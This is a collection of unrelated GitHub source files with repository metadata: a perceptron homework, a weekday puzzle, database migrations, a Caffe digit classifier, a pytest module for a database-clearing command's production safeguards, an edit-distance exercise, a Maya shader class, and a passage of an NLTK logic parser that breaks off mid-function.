/Homework 1/CSC527_hw1_c.py
|
0d28d21e92511e1dfe0ffbe51d5798f7cc705682
|
[] |
no_license
|
nguyenhq15/CSC527
|
67b9350bdddd0937ee36eb83ba175a7cb141363a
|
49547eb33c44acbd78d896e9959e6a7ec10019f6
|
refs/heads/master
| 2023-01-13T21:56:07.671645 | 2020-11-13T04:38:39 | 2020-11-13T04:38:39 | 294,264,146 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,798 |
py
|
# Han Nguyen
# CSC 527 Homework 1 - question c
# Prediction function ----------------------------------------------------------------------
def predict(row, weights):
activation = weights[0]
for i in range(len(row) - 1):
activation += weights[i + 1] * row[i]
return 1 if activation >= 0 else 0
# Create AND truth table ----------------------------------------------------------------------
def and_table(n, data1, temp):
if (n == 0):
tb = int(all(temp)) # true if all elements == 1
temp.append(tb)
data1.append(temp)
return
for i in range(2):
temp.append(i)
and_table(n - 1, data1, list.copy(temp))
temp.pop()
# Create OR truth table ----------------------------------------------------------------------
def or_table(n, data2, temp):
if (n == 0):
tb = int(any(temp)) # true if any elements == 1
temp.append(tb)
data2.append(temp)
return
for i in range(2):
temp.append(i)
or_table(n - 1, data2, list.copy(temp))
temp.pop()
# input size
n = int(input("Please enter the input size: "))
data1 = []
# OR logic function
or_table(n, data1, [])
bk1 = -1
weights1 = [bk1]+[1]*n
print("The truth table/input data for OR logic function: \n", data1)
print()
# Testing
for row in data1:
testing = predict(row, weights1)
print("Expected=%d, Predicted=%d" % (row[-1], testing))
print()
data2 = []
# AND logic function
and_table(n, data2, [])
bk2 = -5
weights2 = [bk2]+[1]*n
print("The truth table/input data for AND logic function: \n", data2)
print()
# Testing
for row in data2:
testing = predict(row, weights2)
print("Expected=%d, Predicted=%d" % (row[-1], testing))
|
[
"noreply@github.com"
] |
nguyenhq15.noreply@github.com
|
3bf7867e76e6b09f41ef9ef9b15838cd7877e8a7
|
6254332852b07b4c01b200bb556f70d23ba8160d
|
/learn1/58.py
|
6e601b91aeb2d0a0ef1f4ccff0752e043ea48101
|
[
"MIT"
] |
permissive
|
raghavi101/HackerRank
|
d8c0213ea75094035d780afc477d1f05789b2165
|
48bf812f1b3c60b5201a95458be76ae9b7323a88
|
refs/heads/master
| 2020-08-15T15:51:12.585765 | 2019-10-15T18:19:48 | 2019-10-15T18:19:48 | 215,366,521 | 0 | 0 |
MIT
| 2019-10-15T18:15:07 | 2019-10-15T18:15:06 | null |
UTF-8
|
Python
| false | false | 189 |
py
|
import calendar
a = list(map(int, input().split()))
b = calendar.weekday(a[2], a[0] , a[1])
c = ['MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY', 'SATURDAY', 'SUNDAY']
print(c[b])
|
[
"noreply@github.com"
] |
raghavi101.noreply@github.com
|
c20daa90e10f37cd3daaa3887e51c68a55a4ec41
|
b94325563f307bb5a66a297322087ece021446e1
|
/migrations/versions/885283b1816e_.py
|
cd9fa372eb47a475613d7d077b2d01998b84a544
|
[] |
no_license
|
Amberchen8892/ovia-pregantcy
|
bff08d158bcfb055b80d2516538847c9a0b8d263
|
93b93f9b68d6102ac5f71d3238296da1dc234c85
|
refs/heads/master
| 2022-12-10T18:56:21.905576 | 2019-10-03T10:47:22 | 2019-10-03T10:47:22 | 212,554,459 | 0 | 0 | null | 2022-12-08T06:40:12 | 2019-10-03T10:38:41 |
Python
|
UTF-8
|
Python
| false | false | 664 |
py
|
"""empty message
Revision ID: 885283b1816e
Revises: 5bf88277c9e6
Create Date: 2019-09-30 16:28:02.930928
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '885283b1816e'
down_revision = '5bf88277c9e6'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('profile', sa.Column('profile_url', sa.String(), nullable=False))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column('profile', 'profile_url')
# ### end Alembic commands ###
|
[
"myphuong8892@yahoo.com"
] |
myphuong8892@yahoo.com
|
a596daecfa4be0ecac632471b413594a13500b36
|
15a4cbf8e3902c74d47da3d321d8b9e559ba44aa
|
/my_mnist.py
|
7c24eb19c45bfa9324883e5e7a67075080560fe5
|
[] |
no_license
|
Svjatogor/ev3dev-python
|
5fbae3230091e951729aef3c29276f8fd569f89a
|
199f256a0ad9f499b18bd756c1222bec07fc1fcc
|
refs/heads/master
| 2021-01-20T22:19:25.710719 | 2016-08-16T17:11:10 | 2016-08-16T17:11:10 | 65,838,811 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,550 |
py
|
#!/usr/bin/env python
"""
classify.py is an out-of-the-box image classifer callable from the command line.
By default it configures and runs the Caffe reference ImageNet model.
"""
import numpy as np
import pandas as pd
import os
import sys
import argparse
import glob
import time
import caffe
from number_for_lcd import NumberDrawer
def main(argv):
pycaffe_dir = os.path.dirname(__file__)
image_dims = [28, 28]
mean, channel_swap = None, None
force_grayscale = True
caffe.set_mode_cpu()
print("CPU mode")
model_def = os.path.join(pycaffe_dir, "../examples/mnist/lenet_50.prototxt")
pretrained_model = os.path.join(pycaffe_dir,"../examples/mnist/lenet_iter_10000_50.caffemodel")
input_scale = None
raw_scale = 255.0
print("make classifier...")
start = time.time()
# Make classifier.
classifier = caffe.Classifier(model_def, pretrained_model,
image_dims=image_dims, mean=mean,
input_scale=input_scale, raw_scale=raw_scale,
channel_swap=channel_swap)
print("Done in %.2f s." % (time.time() - start))
# Load numpy array (.npy), directory glob (*.jpg), or image file.
input_file = os.path.join(pycaffe_dir, "../images_test/four_28x28.png")
input_file = os.path.expanduser(input_file)
force_grayscale = True
print("Loading image file: %s" % input_file)
start = time.time()
inputs = [caffe.io.load_image(input_file, not force_grayscale)]
print("Done in %.2f s." % (time.time() - start))
print("Classifying %d inputs." % len(inputs))
# Classify.
center_only = True
start = time.time()
predictions = classifier.predict(inputs, not center_only)
print("Done in %.2f s." % (time.time() - start))
labels_file = os.path.join(pycaffe_dir,"../data/mnist/mnist_words.txt")
with open(labels_file) as f:
labels_df = pd.DataFrame([
{
'synset_id': l.strip().split(' ')[0],
'name': ' '.join(l.strip().split(' ')[1:]).split(',')[0]
}
for l in f.readlines()
])
labels = labels_df.sort('synset_id')['name'].values
indices = (-predictions[0]).argsort()[:5]
predicted_labels = labels[indices]
meta = [
(p, '%.5f' % predictions[0][i])
for i, p in zip(indices, predicted_labels)
]
print(int(meta[0][0]))
drawer = NumberDrawer()
drawer.draw_number(int(meta[0][0]))
time.sleep(1)
if __name__ == '__main__':
main(sys.argv)#!/usr/bin/env python
|
[
"vsjo.zanjato@gmail.com"
] |
vsjo.zanjato@gmail.com
|
9db7d06e77f1687d0d2672b9209d7d26e6646dab
|
55b320c4ca3895e080a4d2e8914b155981c26238
|
/snovault/tests/test_clear_db_es_contents.py
|
b6dc47af5a758657f21313d235bef5e1f4a84612
|
[
"MIT"
] |
permissive
|
4dn-dcic/snovault
|
606eeeb9fd2ad79da57706dc0372635662c77137
|
e85bc37c427d2a930326faee190dcdda2a736dd3
|
refs/heads/master
| 2023-08-30T23:15:06.664185 | 2023-08-28T19:56:32 | 2023-08-28T19:56:32 | 63,274,287 | 1 | 1 |
NOASSERTION
| 2023-08-31T17:26:08 | 2016-07-13T19:37:37 |
Python
|
UTF-8
|
Python
| false | false | 15,979 |
py
|
import contextlib
import pytest
from dcicutils.lang_utils import disjoined_list
from dcicutils.qa_utils import logged_messages, input_mocked
from unittest import mock
from ..commands import clear_db_es_contents as clear_db_es_contents_module
from ..commands.clear_db_es_contents import (
clear_db_tables,
run_clear_db_es,
main as clear_db_es_contents_main
)
pytestmark = [pytest.mark.setone, pytest.mark.working, pytest.mark.indexing]
def test_clear_db_tables(app, testapp):
# post an item and make sure it's there
post_res = testapp.post_json('/testing-post-put-patch-sno/', {'required': 'abc'},
status=201)
testapp.get(post_res.location, status=200)
clear_res = clear_db_tables(app)
assert clear_res is True
# item should no longer be present
testapp.get(post_res.location, status=404)
_FOURFRONT_PRODUCTION_ENVS = ['fourfront-production-blue', 'fourfront-production-green', 'data', 'staging']
# Really we only care about the first of these names, but the rest are names that were at one time
# planned to be stg or prd names for cgap, so we'll use them to tell that run_clear_db_es is properly
# skipping any such names. -kmp 4-Jun-2022
_CGAP_PRODUCTION_ENVS = ['fourfront-cgap', 'fourfront-cgap-green', 'cgap-green', 'fourfront-cgap-blue', 'cgap-blue']
_PRODUCTION_ENVS = [_FOURFRONT_PRODUCTION_ENVS] + [_CGAP_PRODUCTION_ENVS]
TEST_ENV = 'cgap-devtest'
OTHER_ENV = 'fourfront-foo'
DECOY_ENV_1 = TEST_ENV + '-decoy-1'
DECOY_ENV_2 = TEST_ENV + '-decoy-2'
@contextlib.contextmanager
def local_env_name_registry_setting_for_testing(app, envname):
old_env = app.registry.settings.get('env.name')
print(f"Remembering old env.name = {old_env}")
try:
app.registry.settings['env.name'] = envname
print(f"Set env.name = {envname}")
yield
finally:
if old_env is None:
print(f"Removing env.name")
del app.registry.settings['env.name']
else:
print(f"Restoring env.name to {old_env}")
app.registry.settings['env.name'] = old_env
@pytest.mark.unit
def test_run_clear_db_es_unit(app, testapp):
with mock.patch.object(clear_db_es_contents_module, "clear_db_tables") as mock_clear_db_tables:
with mock.patch.object(clear_db_es_contents_module, "run_create_mapping") as mock_run_create_mapping:
def mocked_is_stg_or_prd_env(env):
result = (env in _PRODUCTION_ENVS # really this should be enough
# for pragmatic redundancy since these will match our real production systems, protect them
or env in _CGAP_PRODUCTION_ENVS
or env in _FOURFRONT_PRODUCTION_ENVS
or env.endswith("blue") or env.endswith("green") or env.endswith("cgap"))
print(f"Mocked is_stg_or_prd_env({env}) returning {result}.")
return result
with mock.patch.object(clear_db_es_contents_module, "is_stg_or_prd_env") as mock_is_stg_or_prd_env:
mock_is_stg_or_prd_env.side_effect = mocked_is_stg_or_prd_env
expected_db_clears = 0
expected_es_clears = 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
# It works positionally
assert run_clear_db_es(app, None, True) is True
expected_db_clears += 1
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
# It works by keyword argument
assert run_clear_db_es(app, only_envs=None, skip_es=True) is True
expected_db_clears += 1
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
for production_env in _PRODUCTION_ENVS:
with local_env_name_registry_setting_for_testing(app, production_env):
# should never run on production envs env
assert clear_db_es_contents_module.is_stg_or_prd_env(production_env) is True
with logged_messages(module=clear_db_es_contents_module, error=[
(f'clear_db_es_contents: This action cannot be performed on env {production_env}'
f' because it is a production-class (stg or prd) environment.'
f' Skipping the attempt to clear DB.')]):
assert run_clear_db_es(app, only_envs=None, skip_es=True) is False
expected_db_clears += 0
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
with local_env_name_registry_setting_for_testing(app, TEST_ENV):
allowed_envs = [OTHER_ENV]
# test if we are only running on specific envs
with logged_messages(module=clear_db_es_contents_module,
error=[(f'clear_db_es_contents: The current environment, {TEST_ENV},'
f' is not {disjoined_list(allowed_envs)}.'
f' Skipping the attempt to clear DB.')]):
assert run_clear_db_es(app, only_envs=allowed_envs, skip_es=True) is False
expected_db_clears += 0
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
# test again if we are only running on specific envs
with logged_messages(module=clear_db_es_contents_module,
error=[(f'clear_db_es_contents: The current environment, {TEST_ENV},'
f' is not {disjoined_list(allowed_envs)}.'
f' Skipping the attempt to clear DB.')]):
assert run_clear_db_es(app, only_envs=allowed_envs, skip_es=False) is False
expected_db_clears += 0
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
# test if we are only running on specific envs
assert run_clear_db_es(app, only_envs=[TEST_ENV], skip_es=True) is True
expected_db_clears += 1
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
# test again if we are only running on specific envs
assert run_clear_db_es(app, only_envs=[TEST_ENV], skip_es=False) is True
expected_db_clears += 1
expected_es_clears += 1
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
allowed_envs = [DECOY_ENV_1, DECOY_ENV_2]
# test if we are only running on specific envs
with logged_messages(module=clear_db_es_contents_module,
error=[(f'clear_db_es_contents: The current environment, {TEST_ENV},'
f' is not {disjoined_list(allowed_envs)}.'
f' Skipping the attempt to clear DB.')]):
assert run_clear_db_es(app, only_envs=allowed_envs, skip_es=False) is False
expected_db_clears += 0
expected_es_clears += 0
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
allowed_envs = [DECOY_ENV_1, TEST_ENV]
# test if we are only running on specific envs
assert run_clear_db_es(app, only_envs=allowed_envs, skip_es=False) is True
expected_db_clears += 1
expected_es_clears += 1
assert mock_clear_db_tables.call_count == expected_db_clears
assert mock_run_create_mapping.call_count == expected_es_clears
@pytest.mark.unit
def test_clear_db_es_contents_main():
# It should never get to these first two in this test, but they're ethere for safety.
with mock.patch.object(clear_db_es_contents_module, "clear_db_tables"):
with mock.patch.object(clear_db_es_contents_module, "run_create_mapping"):
class FakeApp:
class Registry:
def __init__(self):
self.settings = {}
def __init__(self, config_uri, appname):
self.appname = appname
self.config_uri = config_uri
self.registry = self.Registry()
def __str__(self):
return f"<FakeApp {self.appname} {self.config_uri} {id(self)}>"
def __repr__(self):
return str(self)
class MockDBSession:
def __init__(self, app):
self.app = app
apps = {}
def mocked_get_app(config_uri, appname):
key = (config_uri, appname)
app = apps.get(key)
if not app:
apps[key] = app = FakeApp(config_uri, appname)
return app
def mocked_configure_dbsession(app):
return MockDBSession(app)
with mock.patch.object(clear_db_es_contents_module, "run_clear_db_es") as mock_run_clear_db_es:
with mock.patch.object(clear_db_es_contents_module, "get_app") as mock_get_app:
mock_get_app.side_effect = mocked_get_app
with mock.patch.object(clear_db_es_contents_module,
"configure_dbsession") as mock_configure_dbsession:
mock_configure_dbsession.side_effect = mocked_configure_dbsession
config_uri = 'production.ini'
appname = "app"
with input_mocked(
# We'll be prompted for the environment name to confirm.
"local",
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, None),
only_envs=[],
skip_es=False,
allow_prod=False)
with input_mocked(
# No input prompting will occur because --no-confirm was supplied.
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri, "--no-confirm"])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, None),
only_envs=[],
skip_es=False,
allow_prod=False)
with input_mocked(
# We'll be prompted for the environment name to confirm.
"local",
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri, "--app-name", appname])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, appname),
only_envs=[],
skip_es=False,
allow_prod=False)
with input_mocked(
# We'll be prompted for the environment name to confirm.
"local",
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri, "--app-name", appname, '--skip-es'])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, appname),
only_envs=[],
skip_es=True,
allow_prod=False)
with input_mocked(
# No input prompting will occur because --only-if-env was supplied.
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri, "--app-name", appname, "--only-if-env", TEST_ENV])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, appname),
only_envs=[TEST_ENV],
skip_es=False,
allow_prod=False)
with input_mocked(
# We'll be prompted for the environment name to confirm.
"local",
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri, "--app-name", appname, "--only-if-env", TEST_ENV,
"--confirm"])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, appname),
only_envs=[TEST_ENV],
skip_es=False,
allow_prod=False)
with input_mocked(
# No input prompting will occur because --only-if-env was supplied.
module=clear_db_es_contents_module):
clear_db_es_contents_main([config_uri, "--app-name", appname,
"--only-if-env", f"{TEST_ENV},{OTHER_ENV}"])
mock_run_clear_db_es.assert_called_with(app=mocked_get_app(config_uri, appname),
only_envs=[TEST_ENV, OTHER_ENV],
skip_es=False,
allow_prod=False)
|
[
"wrr33@cornell.edu"
] |
wrr33@cornell.edu
|
8bbe10ec9f9d538ff2af58beaee2fe77b23096dc
|
5785d7ed431b024dd910b642f10a6781df50e4aa
|
/revise-daily/educative.io/medium-dp/longest-common-subsequence/11_edit_distance.py
|
0afe28a66ab6ed5f3dc9fc015d21e758fbb667d4
|
[] |
no_license
|
kashyapa/interview-prep
|
45d77324446da34d99bf8efedb3544b367b5523e
|
7060c090c40602fb9c4778eace2078e1b51e235b
|
refs/heads/master
| 2023-07-28T13:12:49.515299 | 2021-09-06T14:33:25 | 2021-09-06T14:33:25 | 403,706,510 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,004 |
py
|
def find_min_operations(s1, s2):
return find_min_operations_recursive(s1, s2, 0, 0)
def find_min_operations_dp(s1, s2):
n1, n2 = len(s1), len(s2)
dp = [[-1 for _ in range(n2 + 1)] for _ in range(n1 + 1)]
# if s2 is empty, we can remove all the characters of s1 to make it empty too
for i1 in range(n1 + 1):
dp[i1][0] = i1
# if s1 is empty, we have to insert all the characters of s2
for i2 in range(n2 + 1):
dp[0][i2] = i2
for i1 in range(1, n1 + 1):
for i2 in range(1, n2 + 1):
# If the strings have a matching character, we can recursively match for the remaining lengths
if s1[i1 - 1] == s2[i2 - 1]:
dp[i1][i2] = dp[i1 - 1][i2 - 1]
else:
dp[i1][i2] = 1 + min(dp[i1 - 1][i2], # delete
min(dp[i1][i2 - 1], # insert
dp[i1 - 1][i2 - 1])) # replace
return dp[n1][n2]
def find_min_operations_recursive(s1, s2, i1, i2):
n1, n2 = len(s1), len(s2)
# if we have reached the end of s1, then we have to insert all the remaining characters of s2
if i1 == n1:
return n2 - i2
# if we have reached the end of s2, then we have to delete all the remaining characters of s1
if i2 == n2:
return n1 - i1
# If the strings have a matching character, we can recursively match for the remaining lengths
if s1[i1] == s2[i2]:
return find_min_operations_recursive(s1, s2, i1 + 1, i2 + 1)
# perform deletion
c1 = 1 + find_min_operations_recursive(s1, s2, i1 + 1, i2)
# perform insertion
c2 = 1 + find_min_operations_recursive(s1, s2, i1, i2 + 1)
# perform replacement
c3 = 1 + find_min_operations_recursive(s1, s2, i1 + 1, i2 + 1)
return min(c1, min(c2, c3))
def main():
print(find_min_operations("bat", "but"))
print(find_min_operations("abdca", "cbda"))
print(find_min_operations("passpot", "ppsspqrt"))
main()
|
[
"schandra2@godaddy.com"
] |
schandra2@godaddy.com
|
5b7d814c74d0223c8f4afc2ce955a0eb0058f191
|
4c1dfb02072a9bc156de77ca6df547858332b8b1
|
/shaders/blinn.py
|
7d339c63c4de0a4ec21c1c860e1d4057feb91e5b
|
[] |
no_license
|
jonike/animShader
|
1950111af29a743c920bf6645300dc831ec47421
|
6964c5dbc84a58b769a849a5e3d0522f751e8241
|
refs/heads/master
| 2020-07-28T04:35:27.573278 | 2015-11-14T16:28:02 | 2015-11-14T16:28:02 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,250 |
py
|
"""
This module contains the declaration a blin attribute
"""
from maya import cmds
from animShader.shaders import lambert
from animShader.attributes import rgb_attr
from animShader.attributes import numeric_attr
class Blinn(lambert.Lambert):
"""
This is an implementation of the
material Lambert
"""
##Constant defining the shader type
SHADER_TYPE = "blinn"
##descriptor for the eccenticty attribute
eccentricity = numeric_attr.NumericAttr("eccentricity")
##descriptor for the specular roll off
specularRollOff = numeric_attr.NumericAttr("specularRollOff")
##descriptor for the reflectivity
reflectivity = numeric_attr.NumericAttr("reflectivity")
##descriptor for the specular color
specularColor = rgb_attr.RgbAttr("specularColor")
##descriptor for the reflected color
reflectedColor = rgb_attr.RgbAttr("reflectedColor")
def __init__(self, name=None, create_mode = 1):
"""
The constructor
@param name: str, the name we want to give to our shader
"""
lambert.Lambert.__init__(self, name, create_mode)
def get_instance():
"""
This function returns an instance
of the class contained in this module
"""
return Blinn()
|
[
"marco.giordano.work@gmail.com"
] |
marco.giordano.work@gmail.com
|
deba5b11d3fbcee8d6703f6624c0f05ca88099e4
|
d090b4573fb0e72558737dcaa9acfedf866583d2
|
/src/try/migrations/0003_auto_20180131_1100.py
|
e5c565f9638afa80e35b21820a3bcc213ea9419f
|
[] |
no_license
|
Bhoomikapanwar/django-try
|
b3fb05854a8625d6012a2e53d24d5beeab092f64
|
8f65ea8bf0f18031567785bfe7032f45ed3c37bf
|
refs/heads/master
| 2021-05-16T16:25:43.349054 | 2018-01-31T20:19:55 | 2018-01-31T20:19:55 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 323 |
py
|
# Generated by Django 2.0.1 on 2018-01-31 11:00
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('try', '0002_projects_use'),
]
operations = [
migrations.RenameModel(
old_name='Projects',
new_name='Project',
),
]
|
[
"shivam.mcs17.du@gmail.com"
] |
shivam.mcs17.du@gmail.com
|
37a1074856a1aeb6f0ac2d22ac04719f370ca06d
|
347a75ff09bbf5acb7a946bd2749313d0e17e983
|
/nltk_light/sem/logic.py
|
90f4d5cecc7e8034cddc1ede00a53d1abfe5fac0
|
[] |
no_license
|
madewild/cfg
|
03dccd22d0b05dc8011d2d0714ec3e9c9e7a792f
|
66f72ffdad505bf3d75d01c03dc0f1a7d78e29ad
|
refs/heads/main
| 2023-05-14T20:44:31.459606 | 2023-05-07T16:00:15 | 2023-05-07T16:00:15 | 101,398,223 | 0 | 0 | null | 2023-05-07T16:00:16 | 2017-08-25T11:39:22 |
Python
|
UTF-8
|
Python
| false | false | 68,006 |
py
|
# Natural Language Toolkit: Logic
#
# Author: Dan Garrette <dhgarrette@gmail.com>
#
# Copyright (C) 2001-2017 NLTK Project
# URL: <http://nltk.org>
# For license information, see LICENSE.TXT
"""
A version of first order predicate logic, built on
top of the typed lambda calculus.
"""
from __future__ import print_function, unicode_literals
import re
import operator
from collections import defaultdict
from functools import reduce, total_ordering
from six import string_types
from nltk_light.util import Trie
from nltk_light.internals import Counter
from nltk_light.compat import python_2_unicode_compatible
APP = 'APP'
_counter = Counter()
class Tokens(object):
LAMBDA = '\\'; LAMBDA_LIST = ['\\']
#Quantifiers
EXISTS = 'exists'; EXISTS_LIST = ['some', 'exists', 'exist']
ALL = 'all'; ALL_LIST = ['all', 'forall']
#Punctuation
DOT = '.'
OPEN = '('
CLOSE = ')'
COMMA = ','
#Operations
NOT = '-'; NOT_LIST = ['not', '-', '!']
AND = '&'; AND_LIST = ['and', '&', '^']
OR = '|'; OR_LIST = ['or', '|']
IMP = '->'; IMP_LIST = ['implies', '->', '=>']
IFF = '<->'; IFF_LIST = ['iff', '<->', '<=>']
EQ = '='; EQ_LIST = ['=', '==']
NEQ = '!='; NEQ_LIST = ['!=']
#Collections of tokens
BINOPS = AND_LIST + OR_LIST + IMP_LIST + IFF_LIST
QUANTS = EXISTS_LIST + ALL_LIST
PUNCT = [DOT, OPEN, CLOSE, COMMA]
TOKENS = BINOPS + EQ_LIST + NEQ_LIST + QUANTS + LAMBDA_LIST + PUNCT + NOT_LIST
#Special
SYMBOLS = [x for x in TOKENS if re.match(r'^[-\\.(),!&^|>=<]*$', x)]
def boolean_ops():
"""
Boolean operators
"""
names = ["negation", "conjunction", "disjunction", "implication", "equivalence"]
for pair in zip(names, [Tokens.NOT, Tokens.AND, Tokens.OR, Tokens.IMP, Tokens.IFF]):
print("%-15s\t%s" % pair)
def equality_preds():
"""
Equality predicates
"""
names = ["equality", "inequality"]
for pair in zip(names, [Tokens.EQ, Tokens.NEQ]):
print("%-15s\t%s" % pair)
def binding_ops():
"""
Binding operators
"""
names = ["existential", "universal", "lambda"]
for pair in zip(names, [Tokens.EXISTS, Tokens.ALL, Tokens.LAMBDA]):
print("%-15s\t%s" % pair)
@python_2_unicode_compatible
class LogicParser(object):
"""A lambda calculus expression parser."""
def __init__(self, type_check=False):
"""
:param type_check: bool should type checking be performed?
to their types.
"""
assert isinstance(type_check, bool)
self._currentIndex = 0
self._buffer = []
self.type_check = type_check
"""A list of tuples of quote characters. The 4-tuple is comprised
of the start character, the end character, the escape character, and
a boolean indicating whether the quotes should be included in the
result. Quotes are used to signify that a token should be treated as
atomic, ignoring any special characters within the token. The escape
character allows the quote end character to be used within the quote.
If True, the boolean indicates that the final token should contain the
quote and escape characters.
This method exists to be overridden"""
self.quote_chars = []
self.operator_precedence = dict(
[(x,1) for x in Tokens.LAMBDA_LIST] + \
[(x,2) for x in Tokens.NOT_LIST] + \
[(APP,3)] + \
[(x,4) for x in Tokens.EQ_LIST+Tokens.NEQ_LIST] + \
[(x,5) for x in Tokens.QUANTS] + \
[(x,6) for x in Tokens.AND_LIST] + \
[(x,7) for x in Tokens.OR_LIST] + \
[(x,8) for x in Tokens.IMP_LIST] + \
[(x,9) for x in Tokens.IFF_LIST] + \
[(None,10)])
self.right_associated_operations = [APP]
def parse(self, data, signature=None):
"""
Parse the expression.
:param data: str for the input to be parsed
:param signature: ``dict<str, str>`` that maps variable names to type
strings
:returns: a parsed Expression
"""
data = data.rstrip()
self._currentIndex = 0
self._buffer, mapping = self.process(data)
try:
result = self.process_next_expression(None)
if self.inRange(0):
raise UnexpectedTokenException(self._currentIndex+1, self.token(0))
except LogicalExpressionException as e:
msg = '%s\n%s\n%s^' % (e, data, ' '*mapping[e.index-1])
raise LogicalExpressionException(None, msg)
if self.type_check:
result.typecheck(signature)
return result
def process(self, data):
"""Split the data into tokens"""
out = []
mapping = {}
tokenTrie = Trie(self.get_all_symbols())
token = ''
data_idx = 0
token_start_idx = data_idx
while data_idx < len(data):
cur_data_idx = data_idx
quoted_token, data_idx = self.process_quoted_token(data_idx, data)
if quoted_token:
if not token:
token_start_idx = cur_data_idx
token += quoted_token
continue
st = tokenTrie
c = data[data_idx]
symbol = ''
while c in st:
symbol += c
st = st[c]
if len(data)-data_idx > len(symbol):
c = data[data_idx+len(symbol)]
else:
break
if Trie.LEAF in st:
#token is a complete symbol
if token:
mapping[len(out)] = token_start_idx
out.append(token)
token = ''
mapping[len(out)] = data_idx
out.append(symbol)
data_idx += len(symbol)
else:
if data[data_idx] in ' \t\n': #any whitespace
if token:
mapping[len(out)] = token_start_idx
out.append(token)
token = ''
else:
if not token:
token_start_idx = data_idx
token += data[data_idx]
data_idx += 1
if token:
mapping[len(out)] = token_start_idx
out.append(token)
mapping[len(out)] = len(data)
mapping[len(out)+1] = len(data)+1
return out, mapping
def process_quoted_token(self, data_idx, data):
token = ''
c = data[data_idx]
i = data_idx
for start, end, escape, incl_quotes in self.quote_chars:
if c == start:
if incl_quotes:
token += c
i += 1
while data[i] != end:
if data[i] == escape:
if incl_quotes:
token += data[i]
i += 1
if len(data) == i: #if there are no more chars
raise LogicalExpressionException(None, "End of input reached. "
"Escape character [%s] found at end."
% escape)
token += data[i]
else:
token += data[i]
i += 1
if len(data) == i:
raise LogicalExpressionException(None, "End of input reached. "
"Expected: [%s]" % end)
if incl_quotes:
token += data[i]
i += 1
if not token:
raise LogicalExpressionException(None, 'Empty quoted token found')
break
return token, i
def get_all_symbols(self):
"""This method exists to be overridden"""
return Tokens.SYMBOLS
def inRange(self, location):
"""Return TRUE if the given location is within the buffer"""
return self._currentIndex+location < len(self._buffer)
def token(self, location=None):
"""Get the next waiting token. If a location is given, then
return the token at currentIndex+location without advancing
currentIndex; setting it gives lookahead/lookback capability."""
try:
if location is None:
tok = self._buffer[self._currentIndex]
self._currentIndex += 1
else:
tok = self._buffer[self._currentIndex+location]
return tok
except IndexError:
raise ExpectedMoreTokensException(self._currentIndex+1)
def isvariable(self, tok):
return tok not in Tokens.TOKENS
def process_next_expression(self, context):
"""Parse the next complete expression from the stream and return it."""
try:
tok = self.token()
except ExpectedMoreTokensException:
raise ExpectedMoreTokensException(self._currentIndex+1, message='Expression expected.')
accum = self.handle(tok, context)
if not accum:
raise UnexpectedTokenException(self._currentIndex, tok, message='Expression expected.')
return self.attempt_adjuncts(accum, context)
def handle(self, tok, context):
"""This method is intended to be overridden for logics that
use different operators or expressions"""
if self.isvariable(tok):
return self.handle_variable(tok, context)
elif tok in Tokens.NOT_LIST:
return self.handle_negation(tok, context)
elif tok in Tokens.LAMBDA_LIST:
return self.handle_lambda(tok, context)
elif tok in Tokens.QUANTS:
return self.handle_quant(tok, context)
elif tok == Tokens.OPEN:
return self.handle_open(tok, context)
def attempt_adjuncts(self, expression, context):
cur_idx = None
while cur_idx != self._currentIndex: #while adjuncts are added
cur_idx = self._currentIndex
expression = self.attempt_EqualityExpression(expression, context)
expression = self.attempt_ApplicationExpression(expression, context)
expression = self.attempt_BooleanExpression(expression, context)
return expression
def handle_negation(self, tok, context):
return self.make_NegatedExpression(self.process_next_expression(Tokens.NOT))
def make_NegatedExpression(self, expression):
return NegatedExpression(expression)
def handle_variable(self, tok, context):
#It's either: 1) a predicate expression: sees(x,y)
# 2) an application expression: P(x)
# 3) a solo variable: john OR x
accum = self.make_VariableExpression(tok)
if self.inRange(0) and self.token(0) == Tokens.OPEN:
#The predicate has arguments
if not isinstance(accum, FunctionVariableExpression) and \
not isinstance(accum, ConstantExpression):
raise LogicalExpressionException(self._currentIndex,
"'%s' is an illegal predicate name. "
"Individual variables may not be used as "
"predicates." % tok)
self.token() #swallow the Open Paren
#curry the arguments
